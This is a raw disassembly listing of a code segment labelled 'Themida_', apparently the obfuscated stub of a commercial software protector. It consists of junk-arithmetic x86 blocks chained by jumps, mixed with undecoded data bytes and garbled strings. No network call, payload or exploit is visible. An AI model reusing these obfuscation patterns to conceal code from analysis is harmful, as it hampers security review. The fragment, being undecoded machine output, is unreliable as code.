		dd 38B850h, 0BD550000h,	2B005D46h, 12A0BE56h, 814678C6h
		dd 497DBEEEh, 19C68130h, 8136677Ah, 0E40EFDEEh,	5EF5297Eh
		dd 6A1BE581h, 0ED814BD7h, 43224140h, 0F15AE953h, 0EE810000h
		dd 5AA75C1Dh, 0CD10E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E1AD:				; CODE XREF: Themida_:0056A4E2j
		mov	[esp], edi
		push	ebx
		jmp	loc_56B639
; ---------------------------------------------------------------------------
		dw 34FFh
aSnq		db '$Иnq',0
		align 2

loc_55E1BE:				; CODE XREF: Themida_:00570529j
		inc	eax
		jmp	loc_5723A2
; ---------------------------------------------------------------------------
		dd 4B951h, 0CD290000h, 592434FFh, 81E68956h, 4C6h, 1338E900h
		dd 5B5E0000h, 8904EC83h, 31E92434h, 8B000109h, 0C4812404h
		dd 4, 6B99E9h, 81C30100h, 9904EDEBh, 7CC3811Eh,	8130866Dh
		dd 0D60D86C3h, 9448E921h, 0C6810000h, 4, 4C681h, 34330000h
		dd 24343124h, 8B243433h, 57532424h, 0C2249B68h,	0EF815F6Ah
		dd 6AC22497h, 3C8BFB89h, 4C48324h, 4924C181h, 0E9534933h
		dd 5E9Bh
; ---------------------------------------------------------------------------

loc_55E24C:				; CODE XREF: Themida_:0056403Ej
		push	69081AB3h
		pop	edx
		jmp	loc_55E8B4
; ---------------------------------------------------------------------------
		db 55h
		dd 8002F0BDh, 1B4DE93Dh, 8B660001h, 0EC81240Ch,	4, 89241C89h
		dd 4EC83E3h, 0E9241489h, 0DE5h
; ---------------------------------------------------------------------------

loc_55E27C:				; CODE XREF: Themida_:0055F9CDj
		xor	edi, [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_566311
; ---------------------------------------------------------------------------
		align 2
		dw 51D0h
		dd 1A3CE9h, 0BCB35300h,	8073F380h, 0DB2C4EC3h, 0DB04D800h
		dd 2CD8285Bh, 0AF48E91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E2AA:				; CODE XREF: Themida_:00563BD0j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_565BA7
; ---------------------------------------------------------------------------

loc_55E2B9:				; CODE XREF: Themida_:0055EAADj
		push	esi
		mov	esi, 5D84553h
		jmp	loc_569FE5
; ---------------------------------------------------------------------------
		dd 0EE28FFB5h, 113C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E2CD:				; CODE XREF: Themida_:0055ECD9j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_571CCF
; ---------------------------------------------------------------------------
		dd 1FC8ED81h, 0ED817117h, 920AE0BFh, 1EE9E889h,	680000B4h
		dd 1224h, 803AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E2FD:				; CODE XREF: Themida_:00560D60j
		add	ebp, 4
		push	esi
		jmp	loc_570146
; ---------------------------------------------------------------------------

loc_55E309:				; CODE XREF: Themida_:0056ED5Bj
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_564B45
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 24148B66h, 8904EC83h, 3068242Ch, 0E900004Dh,	4634h
		dd 3EFC15Fh, 5FE9DFF7h,	880000EAh, 2434FFF5h, 8124148Bh
		dd 4C4h, 4C48100h, 0E9000000h, 0FC17h, 0B7E9E689h, 5B000098h
		dd 0F40E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E37E:				; CODE XREF: Themida_:00564DDBj
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_566DAC
; ---------------------------------------------------------------------------
		db 80h
		dd 304D4F3h, 32CD800h, 5D95685Bh, 0FE90000h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E3A3:				; CODE XREF: Themida_:005604F7j
		or	edi, 0F4E0986h
		xor	edi, 0F7F4982h
		sub	ecx, 1F9D122Bh
		add	ecx, edi
		push	ebp
		push	1F9D122Bh
		pop	ebp
		add	ecx, ebp
		pop	ebp
		jmp	loc_56F1F3
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 50000000h, 785EE9h, 1CF76600h, 15E99C24h
		db 18h,	1, 0
; ---------------------------------------------------------------------------

loc_55E3DB:				; CODE XREF: Themida_:005723B9j
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 0BCF19F9h
		neg	ebp
		sub	ebp, 1
		sub	ebp, 23221073h
		not	ebp
		add	ebp, 0D10ED598h
		add	edi, ebp
		jmp	loc_56C196
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4, 1078BE9h, 24EBB00h, 0D9E972AFh, 8F000102h
		dd 15E92404h, 5F0000CBh, 0C61FE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E426:				; CODE XREF: Themida_:0056B892j
		xor	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_56DE5F
; ---------------------------------------------------------------------------
		dd 0B102B652h, 33E18054h, 0E01DE9h, 241C8B00h, 0E904C483h
		dd 8446h, 815E5456h, 4C6h, 4C68300h, 0E9243433h, 4562h
		dd 8704C283h, 248B2414h, 40E95324h, 810000D8h, 4C4h, 5BB75300h
		dd 4161E9h, 52300C00h, 0CD1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E481:				; CODE XREF: Themida_:00561E66j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_564F88
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0F6DDh
; ---------------------------------------------------------------------------

loc_55E498:				; CODE XREF: Themida_:00565ECEj
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		dec	ebp
		jmp	loc_56FFFE
; ---------------------------------------------------------------------------
		dd 2EF68h, 59206800h, 24890000h, 24048124h, 4, 0D45E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E4BD:				; CODE XREF: Themida_:0056A0F1j
		pop	esi
		add	esp, 4
		sub	ebx, edx
		sub	ebx, 117B161Ah
		mov	edx, [esp]
		jmp	loc_56C502
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E9E18951h, 12A46h
; ---------------------------------------------------------------------------

loc_55E4E0:				; CODE XREF: Themida_:0056A8E4j
		add	esp, 4
		push	405Fh
		mov	[esp], ecx
		jmp	loc_56E332
; ---------------------------------------------------------------------------
		db 68h
		dd 1005h, 68243489h, 4,	2297E95Eh, 1C8B0001h, 4EC8124h
		dd 89000000h, 0E389241Ch, 0B74E9h, 0D1E94100h, 5D000091h
		dd 5E91EE81h, 0C6810254h, 831A025h, 0AA5EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E531:				; CODE XREF: Themida_:0056AF8Bj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		push	6178216Ch
		mov	edi, [esp]
		jmp	loc_561CCD
; ---------------------------------------------------------------------------
		dw 1CB0h
		dd 0C52818B5h, 0BC52E9h, 243C8900h, 4BFh, 24448100h, 7F2A6304h
		dd 247C0176h, 246C8104h, 7F2A6304h, 58F5E976h, 89510000h
		dd 1EF0E9E1h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55E57A:				; CODE XREF: Themida_:00568D7Dj
		or	eax, 1AF471FDh
		shl	eax, 3
		add	eax, 851528CCh
		add	edx, eax
		pop	eax
		jmp	loc_56CA0F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8502424h, 4, 4244401h, 243C8B58h, 12BDDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E5A5:				; CODE XREF: Themida_:00570045j
		mov	ecx, 7F2B79E9h
		sub	ebp, ecx
		jmp	loc_55ED4C
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 5BE9F301h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E5BB:				; CODE XREF: Themida_:0055F088j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_570624
; ---------------------------------------------------------------------------

loc_55E5C6:				; CODE XREF: Themida_:00561735j
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 53h
		dd 84E9E788h, 50000117h, 0EE95251h, 66000085h, 0E95DE968h
		dd 0CAF1h, 302968h, 24248900h, 71D868h,	241C8900h, 5968BF57h
		dd 0E7C15F8Bh, 242DE907h, 0C7810001h, 3D83BDAh,	7444E9h
		dd 7BB45000h, 564FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E615:				; CODE XREF: Themida_:0055DB57j
		push	esp
		jmp	loc_56D9B5
; ---------------------------------------------------------------------------
		db 89h
		dd 18E92424h, 1000138h,	0F23159CEh, 0BF57525Eh,	148579ACh
		dd 73A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E635:				; CODE XREF: Themida_:005689FDj
		push	eax
		jmp	loc_5652DA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FE2C9F04h, 3315E9h,	672F6800h, 14890000h, 0E9EA8824h
		dd 106AEh, 33243C31h, 3C31243Ch, 31DF3124h, 81DF31FBh
		dd 4ECh, 241C8900h, 8904EC83h, 74FF240Ch, 8F590424h, 0D1312404h
		dd 0D131CA31h, 0D1F7CA87h, 0D187CA87h, 0E9240C31h, 0B9h
; ---------------------------------------------------------------------------

loc_55E690:				; CODE XREF: Themida_:00567AB0j
		add	esi, 4
		push	ebp
		mov	ebp, 2
		sub	esi, 32ED6938h
		jmp	loc_55FC9B
; ---------------------------------------------------------------------------
		db 1
		dd 0F83158C7h, 51CE685Fh, 34890000h, 96B95124h,	0BE7AC94Dh
		dd 0A1099776h, 0F759CE29h, 0A0D4E9D6h, 2C890000h, 5808BD24h
		dd 0D5F7698Ch, 0F581DDF7h, 119D2D1Bh, 123E6850h, 48B420Eh
		dd 4C48124h, 35000000h,	0C5E098CCh, 48BC501h, 4C48324h
		dd 0EAD9E9h, 89F88900h,	815F58C6h, 9D712CC1h, 0E9F1014Fh
		dd 831h, 8904EC83h, 0BE56242Ch,	11EA06A0h, 0BA52h, 0C2810000h
		dd 27C07A14h, 0BB53F229h, 239520CFh, 0BE38143h,	0E941AC0Ah
		dd 5E2Fh
; ---------------------------------------------------------------------------

loc_55E73C:				; CODE XREF: Themida_:00563909j
		add	ebx, 74BE0767h
		sub	ebx, ebp
		jmp	loc_55FA24
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd offset byte_58F2E9
		db 0
; ---------------------------------------------------------------------------

loc_55E751:				; CODE XREF: Themida_:00563A5Cj
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, bh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56FA1F
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 2C3E74BAh, 74B6E981h, 0C8012C3Eh, 2BB5359h
		dd 52000000h, 0BB51CABAh, 266D0576h, 0D0012A44h, 44266D2Dh
		dd 0B6E95A2Ah, 58000021h, 5053E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E7A6:				; CODE XREF: Themida_:00568CA5j
		add	esi, 9580001h
		pop	edx
		push	ebx
		jmp	loc_55FB67
; ---------------------------------------------------------------------------
aTsso		db 'TИИO',0
		dd 88506600h, 88D0F6C8h, 48B66C1h, 2C48324h, 0E9CFE980h
		dd 0DA02h
; ---------------------------------------------------------------------------

loc_55E7D0:				; CODE XREF: Themida_:005653CFj
		mov	edx, 45F21334h
		sub	edx, 179E1452h
		jmp	loc_56AC3E
; ---------------------------------------------------------------------------

loc_55E7E0:				; CODE XREF: Themida_:00562033j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edi
		push	4DB4h
		mov	[esp], ecx
		mov	ecx, 4
		push	ecx
		xor	dword ptr [esp], 2350624Ah
		pop	edi
		push	ebx
		jmp	loc_56F345
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 8282E2Ch, 295BDD31h, 0D8F75DE8h,	12Dh, 0C4612D00h
		dd 7FE98559h, 88000054h, 8B665BDCh, 0D1E9240Ch,	89FFFFF2h
		db 0E3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 167A7B13h
		jmp	loc_56C8EC
; ---------------------------------------------------------------------------
a1Zhi		db '^1пZh┬',0Dh,0
		align 10h
		dd 130FCE9h, 44015900h,	0D7E90424h, 810000AFh, 98AF91F7h
		dd 8BF93150h, 0C481243Ch, 4, 15FC68h, 242C8900h, 8957CD89h
		dd 5FFA89EFh, 34EEE9h, 81DAF700h, 0AF04EDF2h, 8294E9D2h
		dd 0F8000000h, 34FFE804h, 0EC815B24h, 4, 116AAE9h, 0E95E5400h
		dd 6F8Fh
; ---------------------------------------------------------------------------

loc_55E8AC:				; CODE XREF: Themida_:00568432j
		mov	ebp, [esp]
		jmp	loc_565616
; ---------------------------------------------------------------------------

loc_55E8B4:				; CODE XREF: Themida_:0055E252j
		push	esi
		mov	esi, 36A673B3h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	0A05196FFh
		mov	ecx, [esp]
		jmp	loc_572433
; ---------------------------------------------------------------------------
		db 1, 0D6h, 8Bh
		dd 4E92414h, 890000BFh,	0CB015FFBh, 5BD90159h, 8904EC83h
		dd 0E9572414h, 9E8Bh, 8904EC83h, 0E9562404h, 98F0h, 8143DBF7h
		dd 0C41230C3h, 9EE8115h, 1153B11h, 9C681DEh, 0E9153B11h
		dd 35EAh, 0BEBD5550h, 0B86C2C73h, 0D1C1BB04h, 0D3BAE9h
		dd 8DEE8100h, 0E93E1B60h, 5D85h, 0E904C483h, 788Bh, 0BF6ADEBFh
		dd 20EE81A0h, 297D7D2Dh, 20C681FEh, 0E97D7D2Dh,	11158h
		dd 1CDD68h, 3175E900h, 0CE010000h, 8C11E959h, 0EF810000h
		dd 0FFFFFFFFh, 0B850D7F7h, 5A022149h, 0FFF6FCE9h, 0E9E089FFh
		dd 5474h, 8B2434FFh, 44E92434h,	68000013h, 45908A12h, 68241C8Bh
		dd 4BC3h, 2DAAE9h, 0CB315D00h, 5BD90159h, 5104C183h, 42474FFh
		dd 36B2E9h, 242C3300h, 33242C31h, 0C3E9242Ch, 0BF000007h
		dd 71FC3319h, 0FF9CE947h, 248BFFFFh, 242C8924h,	22EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E9E1:				; CODE XREF: Themida_:0055E163j
		pop	edx
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55D8B9
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 6Bh
		dd 507F4D4Ch, 953AE9h, 0C3295F00h, 5FC38158h, 81E9703Ah
		dd 3F5327EFh, 81DF293Ah, 3F5327C7h, 0E9C35B3Ah,	0FFFFEE41h
		dd 56243C8Bh, 0C681E689h, 4, 0F81BE9h, 0E932B100h, 13AB4h
; ---------------------------------------------------------------------------

loc_55EA44:				; CODE XREF: Themida_:0056EA04j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56E277
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	ebp
		jmp	loc_55D873
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B24048Fh, 0F662424h, 9C2404ABh, 0FFEDF8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EA75:				; CODE XREF: Themida_:005662EBj
		pop	edx
		jmp	loc_571C9D
; ---------------------------------------------------------------------------

loc_55EA7B:				; CODE XREF: Themida_:005650C8j
		add	ecx, 55B2277Dh
		pop	edx
		jmp	loc_562BFA
; ---------------------------------------------------------------------------
		db 1
aIvI2		db 'КV╬i2',0
		dw 13Bh
		dd 2C8B5EF3h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0E9C2315Ch, 0FFFFEDC1h
; ---------------------------------------------------------------------------

loc_55EAAC:				; CODE XREF: Themida_:0056253Ej
		push	ecx
		jmp	loc_55E2B9
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 0BD242C89h, 3C012677h
		dd 0C29BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55EAD1:				; CODE XREF: Themida_:00565D47j
		add	esp, 4
		sub	edx, 20E14655h
		add	edx, 7035054Ch
		sub	edx, esi
		sub	edx, 7035054Ch
		jmp	loc_569C6B
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 4C68300h, 894AE9h, 94C68100h, 2D12582Fh, 0CAB36A9h
		dd 715BC42Dh, 0E9F00115h, 1C08h, 0E1E4805Ah, 6866h, 0E9242428h
		dd 0D437h, 67ACB951h, 0F18160ECh, 60EC67A8h, 2D59C801h
		dd 4, 2474FF50h, 48F5804h, 24248B24h, 0E9243C89h, 12B4h
; ---------------------------------------------------------------------------

loc_55EB4C:				; CODE XREF: Themida_:00569272j
		sub	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56EFD1
; ---------------------------------------------------------------------------
		dd 0CB81CB87h, 2A374510h, 0E68AEB81h, 0DBF701DBh, 0EBD1D3F7h
		dd 10051E9h, 71686600h,	1C896679h, 0F6D38824h, 66DA88DBh
		dd 80DAF65Bh, 8DE94CEAh, 330000F5h, 0ACE9242Ch,	870000A4h
		dd 895C2404h, 0E589242Ch, 8904EC83h, 4BA2414h, 1000000h
		dd 0C5835AD5h, 242C8704h, 5324248Bh, 936FE9h, 0D831AD00h
		dd 622168h, 0FA45E900h,	0C4830000h, 0FBE3E902h,	0C889FFFFh
		dd 0E200E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EBDE:				; CODE XREF: Themida_:005650EEj
		movzx	eax, al
		jmp	loc_56DB96
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 1007E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55EBEE:				; CODE XREF: Themida_:0056F5A8j
		sub	esi, 56E869FCh
		sub	esi, 22E77C9Eh
		jmp	loc_55D8AB
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 4FE5C24h,	5EE99C24h, 89FFFFECh, 0BE5651E5h
		dd 49B5525Ah, 525EF189h, 1D0F1EBAh, 1D4BE977h, 0D3660001h
		dd 0E99C242Ch, 329Ah
; ---------------------------------------------------------------------------

loc_55EC30:				; CODE XREF: Themida_:005715C6j
		pop	esi
		sub	ebx, 6C08307Ah
		add	ebx, 1DC847D1h
		add	ebx, edi
		sub	ebx, 1DC847D1h
		add	ebx, 6C08307Ah
		add	ebx, 6CEB1672h
		push	ecx
		mov	ecx, 0
		jmp	loc_5703D0
; ---------------------------------------------------------------------------
		dd 7EF4C381h, 0DF897211h, 10E7815Bh, 0C12C7C45h, 0F78104E7h
		dd 7FEC18DEh, 4D25E94Fh, 0E95A0000h, 0ACEBh, 2D68C581h
		dd 0EE8131AFh, 398D798Dh, 0EBE9EE01h, 0C1000090h, 0EC8102EAh
		dd 4, 6804E9h, 8A685A00h, 89000054h, 33B9240Ch,	0E93E0F63h
		dd 38FDh, 8576AEBFh, 788E936h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55ECBE:				; CODE XREF: Themida_:0056C8F4j
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56C8AE
; ---------------------------------------------------------------------------

loc_55ECCE:				; CODE XREF: Themida_:00565016j
		mov	ecx, 769D2EE1h
		add	ecx, 8962D123h
		jmp	loc_55E2CD
; ---------------------------------------------------------------------------
		dw 6C68h
		dd 89000075h, 5F53243Ch, 125ABE9h, 685F5400h, 6C87h, 0B8240489h
		dd 4, 3002EF81h, 0C70179CEh, 3002C781h,	34FF79CEh, 0E8B2E924h
		dd 0E9500000h, 6221h
; ---------------------------------------------------------------------------

loc_55ED18:				; CODE XREF: Themida_:00560C6Cj
		mov	[esp], ebx
		jmp	loc_56981B
; ---------------------------------------------------------------------------

loc_55ED20:				; CODE XREF: Themida_:0056249Cj
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_569B7F
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 98EEh
; ---------------------------------------------------------------------------

loc_55ED4C:				; CODE XREF: Themida_:0055E5ACj
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561437
; ---------------------------------------------------------------------------
aZps		db 'ZPИЙй',0
		align 4
		dd 59EE3058h, 525AF028h, 8904EC83h, 2EB42404h, 0C0B7C480h
		dd 0D4F604E4h, 0D4F6CCFEh, 0E952C4FEh, 8053h
; ---------------------------------------------------------------------------

loc_55ED90:				; CODE XREF: Themida_:00571332j
		pop	edx
		jmp	loc_56DA18
; ---------------------------------------------------------------------------

loc_55ED96:				; CODE XREF: Themida_:0056216Dj
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	78B24489h
		jmp	loc_56C83D
; ---------------------------------------------------------------------------

loc_55EDA8:				; CODE XREF: Themida_:00563F26j
		and	edx, 442A1198h
		and	edx, 5DD607ACh
		push	ecx
		mov	ecx, 87691900h
		push	eax
		mov	eax, 75946155h
		add	edx, 7A32616Ah
		sub	edx, eax
		jmp	loc_560AEB
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
aQsV		db 'QИ(V',0
		align 2
		dw 815Eh
		dd 4ECh, 24348900h, 826C9FBEh, 1AACE942h, 0B9510000h, 4
		dd 8759CA29h, 895C2414h, 0BA522434h, 7D42328Bh,	0E9DAF74Ah
		dd 0D802h
; ---------------------------------------------------------------------------

loc_55EE08:				; CODE XREF: Themida_:00568FACj
		mov	edi, 2A805825h
		add	edi, 0DD7C1855h
		jmp	loc_56DD2F
; ---------------------------------------------------------------------------
		dd 13E9815Ah, 517B6FF9h, 9C4AE95Bh, 0EC830000h,	4EC8104h
		dd 0E9000000h, 0C7ACh, 0E9243C8Bh, 9D02h, 0EA81FA01h, 56AA70DAh
		dd 63E2815Fh, 833F160Bh, 5DE904ECh, 31000091h, 3C33243Ch
		dd 80E95C24h, 0E9000095h, 0FFFFEA09h, 0BA525F54h, 4, 163DC781h
		dd 0C78154F6h, 7E3868F6h, 9EE9D701h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EE7F:				; CODE XREF: Themida_:0056C65Dj
		add	esp, 4
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56B794
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2434FF5Ch, 84E9505Fh, 0BA000076h, 132F02F3h,	9EFAEA81h
		dd 0D109D852h, 2A94E9h,	241C8700h, 0E924248Bh, 386Bh, 0FFE9A4E9h
		dd 0E9F501FFh, 10025h
; ---------------------------------------------------------------------------

loc_55EED0:				; CODE XREF: Themida_:0056415Ej
		sub	ebx, 2E3B5A49h
		push	ebp
		mov	ebp, 293C05E3h
		sub	ebx, 5B6D25BFh
		sub	ebx, ebp
		jmp	loc_567273
; ---------------------------------------------------------------------------

loc_55EEE9:				; CODE XREF: Themida_:0056D543j
		shl	al, 3
		sub	al, 0E0h
		jmp	loc_564475
; ---------------------------------------------------------------------------

loc_55EEF3:				; CODE XREF: Themida_:0055FF4Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55DBB7
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 6Dh
		dd 11C2D40h, 22E95DE8h,	5E00010Ah, 1C681h, 0AEE90000h
		dd 8700006Ch, 8F5C240Ch, 248B2404h, 4AAF6824h, 83E90000h
		dd 290000ADh, 0E99C2404h, 0FFFFE935h, 5701EA83h, 11118E9h
		dd 2CE98100h, 8B4F9D71h, 0C4812434h, 4,	2A6FB850h, 0A0500F2h
		dd 0E9201073h, 0E0CEh
; ---------------------------------------------------------------------------

loc_55EF60:				; CODE XREF: Themida_:0056DA44j
		push	ebp
		sub	dword ptr [esp], 288A0E14h
		pop	eax
		push	0E1Eh
		mov	[esp], edi
		mov	edi, 7FB865CAh
		inc	edi
		sub	edi, 23084DA8h
		and	edi, 2BCF639Ah
		xor	edi, 200A0E16h
		add	eax, edi
		pop	edi
		jmp	loc_56F7DB
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0E8D3E95Ch, 0D3F6FFFFh, 8ADE8852h, 0E905245Ch, 0FFFFEB84h
		dd 6776ED81h, 0E95E11D7h, 0B25Eh, 0EAF280h, 34FF5AD0h
		dd 241C8B24h, 8304C483h, 0D80004C4h, 653268h, 241C8900h
		dd 0CBFECFB3h, 0E951CBFEh, 5C66h, 2BD5553h, 89000000h
		dd 0D8015DEBh, 5B2434FFh, 815B5453h, 4C3h, 4C38300h, 31241C33h
		dd 8FE9241Ch, 590000C3h, 5AEEE9h, 1C38100h, 81000000h
		dd 9F8F21C3h, 3AEAE9A0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F01A:				; CODE XREF: Themida_:00562E2Dj
		mov	ebx, [esp]
		add	esp, 4
		sub	ch, 4
		push	ebx
		jmp	loc_56B925
; ---------------------------------------------------------------------------
		db 0BBh, 54h, 4
		dd 6C8162BEh, 12F90424h, 5C0161D9h, 0EFE90424h
		db 24h,	1, 0
; ---------------------------------------------------------------------------

loc_55F03F:				; CODE XREF: Themida_:005695FAj
		mov	ebp, 1A040749h
		jmp	loc_5677EE
; ---------------------------------------------------------------------------
aPsdj		db 'PИ└├',0
		db 0
; ---------------------------------------------------------------------------

loc_55F04F:				; CODE XREF: Themida_:00566CF4j
		mov	eax, [esp]
		jmp	loc_55DFDF
; ---------------------------------------------------------------------------

loc_55F057:				; CODE XREF: Themida_:0056FE22j
		push	4
		jmp	loc_567553
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0F1E90000h, 480000ECh, 935D0F7h, 0E9F0CFBFh,	713Dh
		dd 0E9243489h, 0FFFFF2F0h
; ---------------------------------------------------------------------------

loc_55F080:				; CODE XREF: Themida_:00569A5Bj
		or	ecx, edi
		jmp	loc_5700B4
; ---------------------------------------------------------------------------

loc_55F087:				; CODE XREF: Themida_:005722C5j
		pop	ebx
		jmp	loc_55E5BB
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0C6h
		dd 353C4E35h, 3C4E35C2h, 0E958C301h, 1EBh, 6602EC83h, 0B6241489h
		dd 66F5085Dh, 0F6EDD05Ah, 0F0F580DDh, 24D9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F0B9:				; CODE XREF: Themida_:0056531Fj
		mov	edi, esp
		add	edi, 4
		push	edx
		push	ecx
		push	eax
		mov	eax, 5E1F41ADh
		inc	eax
		add	eax, 0B0E62C80h
		push	eax
		jmp	loc_563D64
; ---------------------------------------------------------------------------
aS5		db ']И{5',0
		db 0
; ---------------------------------------------------------------------------

loc_55F0DB:				; CODE XREF: Themida_:00560CA1j
		mov	ecx, [esp]
		push	esi
		jmp	loc_569040
; ---------------------------------------------------------------------------

loc_55F0E4:				; CODE XREF: Themida_:00560B56j
		pop	edi
		push	1A0h
		mov	[esp], ebx
		mov	ebx, 74D45555h
		jmp	loc_56ABB2
; ---------------------------------------------------------------------------
aS@		db '[И#@',0
		dd 0E9CA0900h, 19B0h, 0D104C483h, 0CEF7E9EAh, 814D0000h
		dd 0A01299CDh, 80E94D2Ah, 81000019h, 4C4h, 0BC685000h
		dd 89000050h, 4832424h,	9CE90424h, 8B00003Eh, 0C4832404h
		dd 59EE8804h, 9DFDE9h, 0CFF5700h, 2434FF24h, 5CDAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F14D:				; CODE XREF: Themida_:00564EDCj
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dw 3AB6h
		dd 0D6F6DEF6h, 80C1E680h, 0EE8035C6h, 288C049Dh, 5A8C2CF0h
		dd 0C2885034h, 0FDB0E958h, 1C870000h, 2C61E924h, 0EFC10000h
		dd 0BBEF8104h, 511E813Ch, 0DE6152B9h, 28B9E91Ah, 248B0001h
		dd 9CC88424h, 0FFE6D4E9h, 56E289FFh, 1BE5651h, 0B9668702h
		dd 0CBDB6F07h, 0BE5EF129h, 7FE95B9h, 49EEEE81h,	0CE0117DAh
		dd 49EEB951h, 3E917DAh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F1C3:				; CODE XREF: Themida_:0056DADBj
		pop	esp
		and	eax, 69B62BE3h
		jmp	loc_56B241
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 10808E9h, 24048300h,	24348B04h, 5304C483h, 1275E9h
		dd 1E956800h, 0C890000h, 81E18924h, 4C1h, 4E98300h, 2474FF51h
		dd 0C536E904h, 48F0000h, 4BD5524h, 52000000h, 801825BAh
		dd 1148E944h, 0E6810000h, 210F0ED4h, 87F6E9h, 0C6C38100h
		dd 8B37FC3Dh, 0C4832434h, 5BDD2904h, 501FED81h,	0EF015E50h
		dd 4C7815Dh, 0E9000000h, 0FFFFF24Eh
; ---------------------------------------------------------------------------

loc_55F244:				; CODE XREF: Themida_:00570842j
		pop	edx
		xor	esi, 77162D9Bh
		jmp	loc_560CFC
